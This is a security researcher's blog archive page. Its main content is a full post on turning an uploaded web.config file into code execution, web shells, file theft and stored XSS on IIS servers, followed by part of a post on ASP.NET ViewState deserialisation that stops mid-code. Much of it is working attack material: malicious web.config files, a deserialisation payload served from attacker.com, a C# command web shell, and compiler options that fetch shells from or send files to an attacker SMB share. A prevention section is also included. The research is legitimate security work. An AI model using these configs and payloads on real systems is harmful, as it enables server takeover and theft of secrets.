Tag Archives: deserialization

Uploading web.config for Fun and Profit 2

Table of Contents:
Introduction
1. Execute command using web.config in the root or an application directory
    1.1. Executing web.config as an ASPX page
    1.2. Running command using AspNetCoreModule
    1.3. Using Machine Key
    1.4. Using JSON_AppService.axd
2. Execute command using web.config in a subfolder/virtual directory
    2.1. Abusing the compilerOptions attribute
        2.1.1. Creating a web shell
        2.1.2. Taking over existing ASPX files
        2.1.3. Stealing internal files
        2.1.4. Stealing more data about the app
    2.2. Taking over existing/uploaded .NET files
    2.3. Stored XSS
        2.3.1. Using StateApplication hanlder
        2.3.2. Using DiscoveryRequestHandler hanlder
3. Prevention techniques
4. Behind the scene
    4.1. Requirements and resources
    4.2. Compiler options
    4.3. Exploring new handlers
      4.3.1. Handlers limit in a subfolder
    4.4. Temporary and compiled files
5. References

Introduction

This is the second part of my Uploading web.config For Fun and Profit! I wrote the original blog post back in 2014 [1] in which I had described a method to run ASP classic code as well as performing stored XSS attacks only by uploading a web.config file.

In this blog post, as well as focusing on running the web.config file itself, I have covered other techniques that can come in handy when uploading a web.config in an application on IIS. My main goal is to execute code or commands on the server using a web.config file and have added more techniques for stored XSS as well.

The techniques described here have been divided into two major groups depending on whether a web.config file can be uploaded in an application root or in a subfolder/virtual directory. Please see [2] if you are not familiar with virtual directory and application terms in IIS. Another blog post of mine can also be helpful to identify a virtual directory or an application during a blackbox assessment [3].

1. Execute command using web.config in the root or an application directory

This method can be very destructive where an application already uses a web.config file that is going to be replaced with ours which might not have all the required settings such as the database connection string or some valid assembly references. It is recommended to not use this technique on live websites when an application might have used a web.config file which is going to be replaced. IIS applications that are inside other applications or virtual directories might not use a web.config file and are generally safer candidates than website’s root directory. The following screenshot shows an example of an internal application anotherapp inside the testwebconfig application which is also inside the Default Web Site.

There are many methods that can be used to execute commands on a server if the web.config file within the root directory of an application can be modified.

I have included four interesting examples in this blog posts which are as follows.

1.1. Executing web.config as an ASPX page

This is very similar to [1] but as we are uploading a web.config file within the root directory of an application, we have more control and we can use the managed handlers to run a web.config file as an ASPX page. The following web.config file shows an example:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<system.webServer>
		<handlers accessPolicy="Read, Script, Write">
			<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" /> 
			<add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" /> 
		</handlers>
		<security>
			<requestFiltering>
				<fileExtensions>
					<remove fileExtension=".config" />
				</fileExtensions>
				<hiddenSegments>
					<remove segment="web.config" />
				</hiddenSegments>
			</requestFiltering>
		</security>
		<validation validateIntegratedModeConfiguration="false" /> 
	</system.webServer>
	<system.web>
		<compilation defaultLanguage="vb">
			<buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
		</compilation>
		<httpHandlers> 
			<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" /> 
		</httpHandlers> 
	</system.web>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&amp;"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&amp;"-")
%>
-->

It is then possible to browse the web.config file to run it as an ASP.NET page. Obviously the XML contents will also be accessible from the web. Perhaps it is just easier to upload another file with an allowed extension such as a .config, .jpg or .txt file and run that as a .aspx page.

1.2. Running command using AspNetCoreModule

It is also possible to run a command using the ASP.NET Core Module as shown below:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
      <handlers>
	    <remove name="aspNetCore" />
		 <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
      </handlers>
	  <aspNetCore processPath="cmd.exe" arguments="/c calc"/>
    </system.webServer>
</configuration>

The stated command would be executed by browsing the backdoor.me page which does not need to exist on the server! A PowerShell command can be used here as an example for a reverse shell.

1.3. Using Machine Key

As described in [4], the machineKey element can be set in the web.config file in order to abuse a deserialisation feature to run code and command on the server.

1.4. Using JSON_AppService.axd

This is a sneaky way of running code on the server using a known deserialisation issue within an authentication process in .NET Framework (see [5] for more information).

In this case, the web.config file can look like this:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<system.web.extensions> 
		<scripting> 
			<webServices> 
				<authenticationService enabled="true" requireSSL="false" /> 	
			</webServices> 
		</scripting> 
	</system.web.extensions>

	<appSettings>
		<add key="aspnet:UseLegacyClientServicesJsonHandling" value="true" />
	</appSettings>

	<system.web>
		<membership defaultProvider="ClientAuthenticationMembershipProvider">
			<providers>
				<add name="ClientAuthenticationMembershipProvider" type="System.Web.ClientServices.Providers.ClientFormsAuthenticationMembershipProvider, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" serviceUri="http://attacker.com/payload?" />
			</providers>
		</membership>
	</system.web>
</configuration>

The following JSON shows the payload page on the attacker’ website (http://attacker.com/payload) that should accept a POST request:

{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c calc'
        }
    }
}

After uploading the web.config file and setting up the payload page on a remote server, attackers can send the following HTTP request to run their code and command on the server:

POST /testwebconfig/Authentication_JSON_AppService.axd/login HTTP/1.1
Host: victim.com
Content-Length: 72
Content-Type: application/json;charset=UTF-8

{"userName":"foo","password":"bar","createPersistentCookie":false}

It should be noted that Profile_JSON_AppService.axd or Role_JSON_AppService.axd might come in handy here as well but they need to be enabled in web.config and a suitable method needs to be called to trigger the deserialisation process.

2. Execute command using web.config in a subfolder/virtual directory

A web.config file in a virtual directory is more limited than a web.config in the root of an application folder. Some of the useful sections or properties that can be abused to execute commands such as AspNetCoreModule, machineKey, buildProviders and httpHandlers cannot be used in a web.config which is in a subfolder.

In my previous related blog post back in 2014 [1], I had found a method to run a web.config file as an ASP file when ISAPI modules were allowed to be used in a virtual directory. It looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />        
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&amp;"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&amp;"-")
%>
-->

Other modules such as the ones used for PHP can also be used similarly when they are allowed. However, it is often not possible to run anything but .NET code when an IIS application has been configured properly. As a result, I am introducing a few more techniques for this purpose.

2.1. Abusing the compilerOptions attribute

I am going to use the following web.config file as my base template:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<system.web>
		<httpRuntime targetFramework="4.67.1"/>
		<compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True" 
			batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15" 
			defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">

			<assemblies>

			</assemblies>

			<expressionBuilders>

			</expressionBuilders>

			<compilers> 
				<compiler language="c#"
					extension=".cs;.config"
					type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" 
					warningLevel="4"  
					compilerOptions=''/>
			</compilers>
		</compilation> 
	</system.web>
	<system.webServer>
		<handlers>
			<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
		</handlers>
		<security>
			<requestFiltering>
				<hiddenSegments>
					<remove segment="web.config" />
				</hiddenSegments>
				<fileExtensions>
					<remove fileExtension=".config" />
				</fileExtensions>
			</requestFiltering>
		</security>
	</system.webServer>
</configuration>

The type attribute of the compiler element can be set to one of the followings default types (version can change):

C#:

Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

This uses the csc.exe command to compile.

VB.NET (version 2 was chosen as an example):

Microsoft.VisualBasic.VBCodeProvider, System, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

This uses the vbc.exe command to compile.

Jscript.NET:

Microsoft.JScript.JScriptCodeProvider, Microsoft.JScript, Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a

This uses the jsc.exe command to compile.

These commands can generally be found in the .NET folder. For .NET v4 the folder would be:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\

The value of the compilerOptions attribute in the above web.config template file will be added to the compiler commands as an argument. Multiple arguments can be provided using white space characters.

When no option is provided for the compiler command, the value of the compilerOptions attribute will be treated as a file name for the compiler to compile.

The # character will terminate the command and an @ character will load another file as described in [6].

If we could find a method to execute command when compiling a C#, VB.NET, or Jscript.NET file, we could easily exploit this by compiling an additional file perhaps from a remote shared drive or a previously uploaded static file. However, I could not find anything whilst doing my research on this. Please let me know if you know a trick and I will add it here!

Important note: It should be noted that if ASP.NET pages exist in the same folder that a web.config file is being uploaded to, they will stop working using the examples which I am providing here as we are changing the compilation process. Therefore, if you have only one shot in uploading a web.config file and you cannot rewrite it again, you should be absolutely certain about your approach and perhaps completely avoid this on a live application where it cannot be safely uploaded in an empty folder.

2.1.1. Creating a web shell

The following string shows the compilerOptions attribute that can be used to create a dirty web shell with some binary data in a web directory:

/resource:"\\KaliBoxIP\Public\webshell.txt" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #

After browsing the web.config file with the above setting, a binary file with the webshell.aspx name will be created in the requested path. Knowledge of the application path on the server is important here. It is possible to reveal the application path simply by causing an error when error messages within the ASP.NET Yellow Screen of Death (YSOD) are displayed. It is recommended to create an error in another file rather than the web.config file itself but if you can modify it later, here is a web.config file that simply shows an error:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>  
	<system.web>
		<customErrors mode="Off" />
		IDontExist!
	</system.web>
</configuration>

The web shell should also be created outside of where our web.config file has been uploaded unless it is possible to change the web.config file after creating the web shell to remove the compilerOptions attribute to allow the normal compilation process.

It should be noted that the code within the webshell.txt will be embedded in the middle of the webshell.aspx which contains binary data. As this is not a clean copy of the webshell, it can be used as the first stage of gaining access.

What if SMB is not reachable:

Where the target cannot communicate via SMB, it is possible to upload the web shell with an allowed extension to include it in the /resource option:

/resource:"C:\appdata\wwwroot\myapp\attachment\myshell.config" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #

2.1.2. Taking over existing ASPX files

When an ASPX file exists in the same folder that a web.config file is being uploaded to, it is possible to change the compilation process to take it over.

Knowledge of application and virtual directories is important to use this technique. I will explain this using the following example:

A web.config file can be uploaded in C:\appdata\wwwroot\myapp\attachment\ and file.aspx also exists in the same path and is accessible via the following URL:

https://victim.com/myapp/attachment/file.aspx

Now it is possible to use the following compiler option to take over this file:

\\KaliBoxIP\Public\webshellcs.txt #

Or

"C:\appdata\wwwroot\myapp\attachment\webshellcs.txt" #

Content of the webshellcs.txt file was:

namespace ASP
{
    using System;
    [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]
    public class attachment_file_aspx : global::System.Web.UI.Page, System.Web.IHttpHandler
    {
        private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterContainer)
        {
            if (!String.IsNullOrEmpty(Request["cmd"]))
            {
                System.Diagnostics.Process process = new System.Diagnostics.Process();
                process.StartInfo.FileName = Request["cmd"];
                process.StartInfo.Arguments = Request["arg"];
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.Start();
                //* Read the output (or the error)
                string output = process.StandardOutput.ReadToEnd();
                @__w.Write("Result:<br><pre>");
                @__w.Write(output);
            }
            else
            {
                @__w.Write("Use:\"?cmd=cmd.exe&amp;arg=/c dir\" as an example!");
            }
        }

        [System.Diagnostics.DebuggerNonUserCodeAttribute()]
        protected override void FrameworkInitialize()
        {
            this.SetRenderMethodDelegate(new System.Web.UI.RenderMethod([email protected]__Render__control1));
        }
    }
}

2.1.3. Stealing internal files

The following string shows the compilerOptions attribute:

/resource:c:\windows\win.ini /out:\\KaliBoxIP\Public\test.bin

After opening an existing ASP.NET page in the upload folder, this creates the test.pdb and test.bin files in the shared folder that includes the win.ini file. This can especially be useful to steal the application’s web.config file as it may contain sensitive data such as the machine key that can lead to remote code execution straight away [4].

2.1.4. Stealing more data about the app

The following string shows the compilerOptions attribute:

/resource:\\KaliBoxIP\Public\test.txt -bugreport:\\KaliBoxIP\Public\foobar1.txt /errorreport:none

After opening an existing ASP.NET page in that folder, this creates a large file on the shared path that might contain sensitive data about the application or its underlying technology.

Obviously this file can also be created on the same web server when the path is known and files can be downloaded remotely.

2.2. Taking over existing/uploaded .NET files

The following web.config can be used to take over existing web service files:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>  
	<system.web>
		<webServices>
			<protocols>
				<add name="Documentation"/> 
			</protocols>
			<wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/>
		</webServices>
	</system.web>
</configuration>

This would load the webshell.aspx file from a SMB share and would execute it when opening any existing ASMX files in that folder.

It is also possible to remap the .master and .ascx extensions to act like ASMX files to take them over as well. The chance of uploading these files is higher than other ASP.NET extensions such as .aspx, .asmx, .ashx, .svc, and .soap that can also be taken over using the same technique.

The following web.config file shows an example that can take over multiple file extensions:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>  
	<system.web>
		<webServices>
			<protocols>
				<add name="Documentation"/> 
			</protocols>
			<wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/>
		</webServices>
	</system.web>
	<system.webServer>
		<handlers>
			<add name="remap_asmx1" path="*.ascx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx2" path="*.master" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx3" path="*.aspx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx4" path="*.ashx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx5" path="*.svc" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx6" path="*.soap" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
		</handlers>
		<security>
			<requestFiltering>
				<fileExtensions>
					<remove fileExtension=".ascx" />
					<remove fileExtension=".master" />
				</fileExtensions>
			</requestFiltering>
		</security>
	</system.webServer>
</configuration>

It might be difficult to use this technique when SMB has been blocked as the file extension in the href attribute of the wsdlHelpGenerator element matters .

2.3. Stored XSS

It is also possible to create stored XSS. This might be useful when other methods do not work for any reasons.

A few methods of making the application vulnerable to XSS via uploading a web.config file was discussed in [1]. For example, when some files are allowed to be downloaded, it is possible to easily exploit this for XSS by manipulating the mimetypes. The following example shows how a .txt file could be run as a .html file:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <staticContent>
            <remove fileExtension=".txt" />
            <mimeMap fileExtension=".txt" mimeType="text/html" />
        </staticContent>
    </system.webServer>
</configuration>

In this blog post, two new ASP.NET handlers have also been identified that can be used for this purpose.

2.3.1. Using StateApplication hanlder

The StateApplication handler is an internal class within the System.Web.SessionState namespace that is used for caching and is not supposed to be called directly from user code. It can be abused to replace response of any exiting files with an arbitrary text.

The following web.config file shows an example with which the response of web.config is being replaced with an XSS payload:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<system.webServer>
		<handlers>
			<add name="web_config" path="*.config" verb="*" type="System.Web.SessionState.StateApplication,System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" resourceType="File" requireAccess="Script" />
		</handlers>
		<security>
			<requestFiltering>
				<hiddenSegments>
					<remove segment="web.config" />
				</hiddenSegments>
				<fileExtensions>
					<remove fileExtension=".config" />
				</fileExtensions>
			</requestFiltering>
		</security>
	</system.webServer>
</configuration>

To create a stored XSS in cache for 525600 minutes (the maximum amount) the following request should be sent after uploading the web.config file:

PUT /testwebconfig/userfiles/web.config HTTP/1.1
Host: victim.com
Http_Timeout: 525600
Content-Length: 25

<script>alert(1)</script>

To retrieve the content:

http://victim.com/testwebconfig/userfiles/web.config

To delete the contents:

DELETE /testwebconfig/userfiles/web.config HTTP/1.1
Host: victim.com

In order to create multiple XSS payloads using the same name, additional parameters can be added to the URL. For example:

Web.config/payload1
Or
Web.config\payload1
And
Web.config?payload2

2.3.2. Using DiscoveryRequestHandler hanlder

The DiscoveryRequestHandler class in the System.Web.Services.Discovery namespace can be used to serve XML files (a .disco file in its actual use). This can be abused to run JavaScript code from an XML response.

If a web.config file can be uploaded, a test.config file containing XML with JavaScript code can be uploaded as well. The following web.config shows an example with which the test.config file will be served as an XML file:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>  
	<system.webServer>
		<handlers>
			<add name="web_config" path="test.config" verb="*" type="System.Web.Services.Discovery.DiscoveryRequestHandler,System.Web.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" resourceType="File" requireAccess="Script" />
		</handlers>
		<security>
			<requestFiltering>
				<hiddenSegments>
					<remove segment="web.config" />
				</hiddenSegments>
				<fileExtensions>
					<remove fileExtension=".config" />
				</fileExtensions>
			</requestFiltering>
		</security>
	</system.webServer>
</configuration>

The test.config file can be:

<?xml version="1.0" ?>
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>

It should be noted that an XML file with a valid DynamicDiscoveryDocument type cannot be used for XSS as it will be used to search the current directory to discover existing web services instead. For curious readers, an example of valid file content was:

<dynamicDiscovery xmlns="urn:schemas-dynamicdiscovery:disco.2000-03-17">
    <exclude path="foobar"></exclude>
</dynamicDiscovery>

3. Prevention techniques

The first line of defence is to validate the filenames, extensions, and contents using a whitelist approach. This can be done by allowing only appropriate file extensions and to check the file contents to ensure they use a valid format. More recommendation can be seen on the OWASP website [7].

Another classic recommendation is to save the files outside of a web directory or in the database. A more secure way these days can be to store uploaded files in the cloud such as in Amazon S3. You have to make sure that access control checks are appropriate and working, and the implementation will not cause other security issues such as insecure object reference (IDOR) or path manipulations.

Using appropriate HTTP headers can also prevent cross-site content hijacking attacks (see [8]).

The following recommendations can also make the attacks via uploading web.config files harder:

  • Using precompiled applications can make it more difficult for script kiddies to attack your application
  • Ensure that there is no write permission on the existing files within the web application including web.config files especially outside of the upload directory
  • Monitor creation of any dynamic files on the website to detect potential attacks

If you do not have access to the code, cannot change file permissions, or cannot alter how the application works, you can still use a web.config file in the application path or in the root of the website to mitigate some attacks that can happen by uploading a web.config file:

  • If possible, ensure that the web.config files in virtual directories are disabled and cannot be used. This can be done by changing the allowSubDirConfig attributes within the applicationHost.config file which is normally located at C:\Windows\System32\inetsrv\Config\ (see [9] for more details)
  • Sensitive web.config elements that should not be changed by other web.config files in subdirectories should also be protected. This can be done using the allowOverride attribute or locking features within a web.config file (see [10] and [11] for more details).  The following web.config file shows an example that can be used in the parent directory to lock certain sections that were abused in this research:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
	<system.webServer>
		<handlers lockItem="true" />
		<staticContent lockItem="true" />
		<security>
			<requestFiltering lockItem="true" />
		</security>	
	</system.webServer>

	<system.web>
		<httpRuntime lockItem="true" />
		<compilation lockItem="true" />
		<webServices lockItem="true" />
	</system.web>

	<system.serviceModel>
		<behaviors lockItem="true" />
		<services lockItem="true" />
	</system.serviceModel>
</configuration>

4. Behind the scene

This section basically covers what I did during the research to find the capabilities explained above. Although this might be the most boring part of this write-up, I think it can be useful for someone who wants to continue this research.

Finding how you can run code and command when a web.config can be in the root of an IIS application was the easiest part as I could just use documented web.config capabilities and my previous research.

However, exploring new methods when a web.config file is being uploaded in a subfolder -which is the most common case- required a lot more work.

4.1. Requirements and resources

The main resources of my research apart from time were ASP.NET Framework source code, Visual Studio, Sysinternals Process Monitor, dnSpy, Telerik JustDecompile, IIS web server, Kali Linux, and countless amount of Googling!

I used the Kali Linux mainly for having an easy unauthenticated SMB share that I could read/write from/to. The /etc/samba/smb.conf file that finally worked for me with SMB v3 support was:

[global]
#workgroup = WORKGROUP
#server string = Samba Server XYZ
#netbios name = someRandomUbuntu
#security = user
map to guest = Bad User
#dns proxy = no
log file = /var/log/samba/%m
log level = 1
server min protocol = SMB3
client min protocol = SMB3
client max protocol = SMB3

[Public]
path = /tmp/smbshare/
writable = yes
guest ok = yes
read only = no
browsable = yes
create mode = 0777
directory mode = 0777
# force user = nobody

4.2. Compiler options

When abusing the compiler options, we are basically passing our arguments to a compiler (csc.exe, vbc.exe, or jsc.exe) inside a file that has been passed via the @ character. Although command injection comes to mind straight away, it did not work and I could not run another command using it.

There are two possible avenues that can lead to command execution easier than what I have found in this research:

  • Code execution when a specific file is being compiled
  • Finding an argument that can in turn run code or command

I failed to find anything that can work here. The -analyzer option sounded very promising for the C# Compiler but it was missing from the csc.exe file that was executed by .NET.

4.3. Exploring new handlers

As it can be seen in this blog post, identifying all HTTP handlers that can be processed within the web.config file was very important. This was done by searching classes that implemented IHttpHandler, IHttpHandlerFactory, and IHttpHandlerFactory2.

Here is how you can see them easily in the browser (thanks to Microsoft!):

https://referencesource.microsoft.com/#System.Web/IHttpHandler.cs,62c4e10ee7e6cd36,references

https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,8437c9ce8bcd1bda,references

https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,21cd2fd2bb57b501,references

It should be noted that sometimes new handlers could also be derived from the implementations. However, the behaviour was normally quite the same with minimal changes.

4.3.1. Handlers limit in a subfolder

ASP.NET uses file extensions to detect their types and if it cannot get the proper type that for example is needed for a web service, it requires a new extension to be add to the buildProviders element. However, the buildProviders element can only be set by the applications otherwise it will show the following error:

The element 'buildProviders' cannot be defined below the application level.

This protection has been coded within the PostDeserialize() method of CompilationSection.cs in .NET Framework rather than being in the machine.config file:

https://referencesource.microsoft.com/#System.Web/Configuration/CompilationSection.cs,904

There are ways to execute command on an IIS using extensions that are predefined but the focus of this research was to use new extensions that are likely to be allowed to be uploaded.

The predefined list of buildProviders can be seen in the main web.config within the ASP.NET configuration folder (e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config).

4.4. Temporary and compiled files

Temporary and compiled files are normally copied into a temporary directory within .NET Framework for example:

C:\Windows\Microsoft.NET\Framework64\[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]

Some of these files will be removed immediately and the easiest way for me to monitor them all was to remove the delete permission of all users on the temporary directory that my application used. This can be easily restored when it is not needed anymore.

We can create files there, we should be able to replace existing files of that application to execute code on the server in theory. In practice, all these files are using a random value in their name and they need to be stolen using for example 8.3 filenames to be analysed. I have not studied when .NET Framework creates new DLL files but in theory it should be possible to rewrite these existing DLL files to take over existing .NET files anywhere on the application.

5. References

[1] https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/

[2] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis

[3] https://soroush.secproject.com/blog/2019/07/iis-application-vs-folder-detection-during-blackbox-testing/

[4] https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

[5] https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/

[6] https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically

[7] https://www.owasp.org/index.php/Unrestricted_File_Upload

[8] https://github.com/nccgroup/CrossSiteContentHijacking

[9] https://techcommunity.microsoft.com/t5/IIS-Support-Blog/How-to-prevent-web-config-files-to-be-overwritten-by-config/ba-p/297627

[10] https://weblogs.asp.net/jongalloway/10-things-asp-net-developers-should-know-about-web-config-inheritance-and-overrides

[11] https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms228167(v=vs.100)

Exploiting Deserialisation in ASP.NET via ViewState

Introduction

ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form. The ViewState parameter is a base64 serialised parameter that is normally sent via a hidden parameter called __VIEWSTATE with a POST request. This parameter is deserialised on the server-side to retrieve the data.

It is normally possible to run code on a web server where a valid ViewState can be forged. This can be done when the MAC validation feature has been disabled or by knowing the:

  • Validation key and its algorithm prior to .NET Framework version 4.5
  • Validation key, validation algorithm, decryption key, and decryption algorithm in .NET Framework version 4.5 or above

In order to prevent manipulation attacks, .NET Framework can sign and encrypt the ViewState that has been serialised using the LosFormatter class [1]. It then verifies the signature using the message authentication code (MAC) validation mechanism. The ObjectStateFormatter class [2] performs the signing, encryption, and verification tasks. The keys required to perform the signing and/or encryption mechanism can be stored in the machineKey section of the web.config (application level) or machine.config (machine level) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the machineKey section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />

Disabled ViewState MAC Validation

In the past, it was possible to disable the MAC validation simply by setting the enableViewStateMac property to False. Microsoft released a patch in September 2014 [3] to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “the ViewState MAC can no longer be disabled[4], it is still possible to disable the MAC validation feature by setting the AspNetEnforceViewStateMac registry key to zero in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Alternatively, adding the following dangerous setting to the application level web.config file can disable the MAC validation as well:

<configuration>
…
    <appSettings>
      <add key="aspnet:AllowInsecureDeserialization" value="true" />
    </appSettings>
</configuration>

Using this undocumented setting (see [5]) is as simple as using the old enableViewStateMac property! This was identified by reviewing the .NET Framework source code [6]. The following comment was also found in the code: “DevDiv #461378: EnableViewStateMac=false can lead to remote code execution[7].

Before December 2013 when most of us did not know about the danger of remote code execution via deserialisation issues in ViewState, the main impacts of disabling the MAC validation were as follows (see [8]):

  • Setting arbitrary values in the controls
  • Changing the control state
  • Performing cross-site scripting (XSS) attacks

At the time of writing this blog post, the following well known web application scanners had rated the “ASP.NET ViewState without MAC enabled” vulnerability with low and medium severity which shows the lack of awareness in this area:

  • Burp Suite: Low [9]
  • Netsparker: Medium [10]
  • Acunetix: Medium [11]

When ViewState MAC validation has been disabled, the YSoSerial.Net project [12] can be used to generate LosFormatter payloads as the ViewState in order to run arbitrary code on the server.

Prior to the .NET Framework version 4.5, the __VIEWSTATE parameter could be encrypted whilst the MAC validation feature was disabled. It should be noted that most scanners do not attempt to send an unencrypted ViewState parameter to identify this vulnerability. As a result, manual testing is required to check whether the MAC validation is disabled when the __VIEWSTATE parameter has been encrypted. This can be checked by sending a short random base64 string in the __VIEWSTATE parameter. The following URL shows an example:

https://victim.com/path/page.aspx?__VIEWSTATE=AAAA

If the target page responds with an error, the MAC validation feature has been disabled otherwise it would have suppressed the MAC validation error message. If a POST request is used, the __VIEWSTATE parameter should be in the body of the request.

The above test case works even when it is not possible to see the details of error messages (so it is not possible to look for “Validation of viewstate MAC failed”). However, when the ViewStateUserKey property has been used, the page would not ignore the errors, and without seeing the actual error message, it is hard to say whether the MAC validation has been disabled.

As the targeted box might not send any requests externally, automated scanners should use a payload that causes a short delay on the server-side. This can be achieved by executing the following ASP.NET code as an example to create a 10-second delay:

System.Threading.Thread.Sleep(10000);

The above code could be executed using the ActivitySurrogateSelector gadget of YSoSerial.Net. Modifying other gadgets can be useful if a shorter payload is required. For instance, the xaml_payload variable in the TextFormattingRunProperties gadget can be changed to:

string xaml_payload = @"<ResourceDictionary
  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:System=""clr-namespace:System;assembly=mscorlib""
  xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
	 <ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
